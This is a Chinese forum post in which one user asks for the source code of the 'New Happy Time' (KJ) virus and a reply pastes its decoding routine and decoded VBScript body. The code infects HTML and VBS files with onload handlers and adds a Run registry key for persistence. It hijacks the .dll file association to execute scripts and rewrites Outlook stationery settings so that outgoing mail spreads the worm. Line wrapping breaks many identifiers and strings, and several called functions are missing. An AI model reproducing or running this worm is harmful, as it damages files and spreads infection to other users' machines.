求新欢乐时光的源代码（急）

那里有新欢乐时光的源代码及说明,那里有，知道的告诉我吧。
---------------------------------------------------------------

'该病毒经过加密
'解码程序段

Dim KeyArr(3),ThisText
KeyArr(0) = 5
KeyArr(1) = 8
KeyArr(2) = 0
KeyArr(3) = 4
For i=1 To Len(ExeString)
TempNum = Asc(Mid(ExeString,i,1))
If TempNum = 18 Then
TempNum = 34
End If
TempChar = Chr(TempNum + KeyArr(i Mod 4))
If TempChar = Chr(28) Then
TempChar = vbCr
ElseIf TempChar = Chr(29) Then
TempChar = vbLf
End If
ThisText = ThisText & TempChar
Next

'//解码后的病毒主体

Attribute VB_Name = "Module1"
Dim InWhere, HtmlText, VbsText, DegreeSign, AppleObject, FSO, WsShell,
WinPa
th, SubE, FinalyDisk
Sub KJ_start()
KJSetDim()
KJCreateMilieu()
KJLikeIt()
KJCreateMail()
KJPropagate()
End Sub
Function KJAppendTo(FilePath, TypeStr)
On Error Resume Next
Set ReadTemp = FSO.OpenTextFile(FilePath, 1)
TmpStr = ReadTemp.ReadAll
If InStr(TmpStr, "KJ_start()") <> 0 Or Len(TmpStr) < 1 Then
ReadTemp.Close
Exit Function
End If
If TypeStr = "htt" Then
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath, 2)
FileTemp.Write "<" & "BODY onload=""" & "vbscript:" &
"KJ_start(
)""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText
FileTemp.Close
Set FAttrib = FSO.GetFile(FilePath)
FAttrib.Attributes = 34
Else
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath, 8)
If TypeStr = "html" Then
FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<" &
"BODY
onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
ElseIf TypeStr = "vbs" Then
FileTemp.Write vbCrLf & VbsText
End If
FileTemp.Close
End If
End Function
Function KJChangeSub(CurrentString, LastIndexChar)
If LastIndexChar = 0 Then
If Left(LCase(CurrentString), 1) <= LCase("c") Then
KJChangeSub = FinalyDisk & ":"
SubE = 0
Else
KJChangeSub = Chr(Asc(Left(LCase(CurrentString), 1)) - 1)
& ":"

SubE = 0
End If
Else
KJChangeSub = Mid(CurrentString, 1, LastIndexChar)
End If
End Function
Function KJCreateMail()
On Error Resume Next
If InWhere = "html" Then
Exit Function
End If
ShareFile = Left(WinPath, 3) & "Program Files\Common Files\Microsoft
Sha
red\Stationery\blank.htm"
If (FSO.FileExists(ShareFile)) Then
Call KJAppendTo(ShareFile, "html")
Else
Set FileTemp = FSO.OpenTextFile(ShareFile, 2, True)
FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" &
"vb
script:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
FileTemp.Close
End If
DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default
User I
D")
OutLookVersion = WsShell.
RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\
Outlook Express\MediaVer")
WsShell.RegWrite "HKEY_CURRENT_USER\Identities" & DefaultId &
"\Softwar
e\Microsoft\Outlook Express" & Left(OutLookVersion, 1) & ".
0\Mail\Compose U
se Stationery", 1, "REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Identities" & DefaultId &
"\Software\
Microsoft\Outlook Express" & Left(OutLookVersion, 1) & ".
0\Mail\Stationery
Name", ShareFile)
Call KJMailReg("HKEY_CURRENT_USER\Identities" & DefaultId &
"\Software\
Microsoft\Outlook Express" & Left(OutLookVersion, 1) & ".0\Mail\Wide
Statio
nery Name", ShareFile)
WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.
0\Outloo
k\Options\Mail\EditorPreference", 131072, "REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows
Messaging S
ubsystem\Profiles\Microsoft Outlook Internet
Settings\0a0d020000000000c00000
0000000046\001e0360", "blank")
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows
NT\CurrentV
ersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet
Setti
ngs\0a0d020000000000c000000000000046\001e0360", "blank")
WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.
0\Outlo
ok\Options\Mail\EditorPreference", 131072, "REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.
0\Common\
MailSettings\NewStationery", "blank")
KJummageFolder (Left(WinPath, 3) & "Program Files\Common
Files\Microsoft
Shared\Stationery")
End Function
Function KJCreateMilieu()
On Error Resume Next
TempPath = ""
If Not (FSO.FileExists(WinPath & "WScript.exe")) Then
TempPath = "system32"
End If
If TempPath = "system32" Then
StartUpFile = WinPath & "SYSTEM\Kernel32.dll"
Else
StartUpFile = WinPath & "SYSTEM\Kernel.dll"
End If
WsShell.RegWrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentV
ersion\Run\Kernel32", StartUpFile
FSO.CopyFile WinPath & "web\kjwall.gif", WinPath & "web\Folder.
htt"
FSO.CopyFile WinPath & "system32\kjwall.gif", WinPath &
"system32\deskto
p.ini"
Call KJAppendTo(WinPath & "web\Folder.htt", "htt")
WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll", "dllfile"
WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type",
"application/x-m
sdownload"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon", WsShell.
RegRe
ad("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon")
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine",
"VBScript"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command",
WinPat
h & TempPath & "WScript.exe ""%1"" %*"
WsShell.RegWrite
"HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandler
s\WSHProps", "{60254CA5-953B-11CF-8C96-00AA00B8708C}"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode",
"{851316
31-480C-11D2-B1F9-00C04F86C324}"
Set FileTemp = FSO.OpenTextFile(StartUpFile, 2, True)
FileTemp.Write VbsText
FileTemp.Close
End Function
Function KJLikeIt()
If InWhere <> "html" Then
Exit Function
End If
ThisLocation = document.location
If Left(ThisLocation, 4) = "file" Then
ThisLocation = Mid(ThisLocation, 9)
If FSO.GetExtensionName(ThisLocation) <> "" Then
ThisLocation = Left(ThisLocation, Len(ThisLocation) -
Len(FSO.Ge
tFileName(ThisLocation)))
End If
If Len(ThisLocation) > 3 Then
ThisLocation = ThisLocation & ""
End If
KJummageFolder (ThisLocation)
End If
End Function